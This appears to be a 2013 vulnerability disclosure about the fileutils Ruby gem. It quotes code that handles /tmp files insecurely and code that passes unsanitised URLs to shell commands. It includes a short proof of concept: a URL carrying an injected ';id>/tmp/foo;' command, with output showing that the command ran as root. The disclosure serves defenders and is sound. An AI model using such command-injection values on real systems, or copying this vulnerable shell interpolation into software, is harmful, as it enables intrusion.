Fileutils ruby gem possible remote command execution and insecure file handling in /tmp

2013-03-03T00:00:00
ID SECURITYVULNS:DOC:29131
Type securityvulns
Reporter Securityvulns
Modified 2013-03-03T00:00:00

Description

Fileutils ruby gem possible remote command execution and insecure file handling in /tmp 2/23/2013

Hi list, I was looking at some gem files and noticed a few issues with fileutils-0.7

http://rubygems.org/gems/fileutils

"A set of utility classes to extract meta data from different file types".

Handles files insecurely in /tmp, a directory is created for that file extension say 'zip' and files are created/modified there. This directory can be hijacked and the contents manipulated by a malicious user.

in ./lib/file_utils.rb

15 def zip (target, *sources) 16 targetdir = "{FileUtils::Config.tmp_dir}/zip" 17 id = 1 18 while File.exists?(targetdir) 19 targetdir = "{FileUtils::Config.tmp_dir}/zip#{id}" 20 id += 1 21 end 22 FileUtils.mkdir(targetdir)

where Config.tmp_dir = /tmp

in ./lib/file_utils/config.rb

5 def self.tmp_dir 6 @tmp_dir ||= '/tmp' 7 end

Remote command execution:

From file_utils.rb, doesn't sanitize input on URLs passed to CutyCapt for execution. If a URL contains shell characters say a ';' followed by a command a remote attacker execute a command on the clients system if they are enticed to click an encoded url like:

need to test URL encoding not sure if this is valid.

http://bla.net.org;id>/tmp/o; -> http://tinyurl.com/a5scxzz

7 def capture (url, target) 8 command = FileUtils::Config::Xvfb.command(File.dirname(FILE) + "/../bin/CutyCapt --min-width=1024 --min-height=768 --url={url} --out={target}") 9 `#{command}` 10 end

partial PoC if client is tricked into using malicious URL:

irb(main):001:0> `xvfb-run --server-args="-screen 0,1024x768x24" ./CutyCapt --url=http://www.example.org;id>/tmp/foo; --out=/tmp/tempf` xvfb-run: error: Xvfb failed to start sh: 1: --out=/tmp/tempf: not found => "" irb(main):002:0>

root@ubuntu:~/CutyCapt/cutycapt/CutyCapt ls -l /tmp/foo -rw-r--r-- 1 root root 39 Feb 27 02:56 /tmp/foo root@ubuntu:~/CutyCapt/cutycapt/CutyCapt cat /tmp/foo uid=0(root) gid=0(root) groups=0(root) root@ubuntu:~/CutyCapt/cutycapt/CutyCapt#

Michael Scherer of Redhat.com found other issues during a discussion about the above issues I found:

In fact, there is the same similar problem in another file : result = `#{FileUtils::Config::OpenOffice.python} #{command} #{source} #{target} #{FileUtils::Config::OpenOffice.port}`

I quickly checked using irb ( a quick command line to type ruby snippet, and yes, using funky chars result in funky results.

There is another issue in

Generates a temp filepath for the given extension def temp (extension)

path = "{FileUtils::Config.tmp_dir}/tmp.{extension}" id = 1 while File.exists?(path)

    path = "{FileUtils::Config.tmp_dir}/tmp.{id}.#{extension}"
    id += 1

end

Since someone could just create the file at the last moment, and make a link so the script would overwrite an arbitrary file.

Thanks to vl4dz and Michael.

Larry W. Cashdollar @_larry0 http://vapid.dhs.org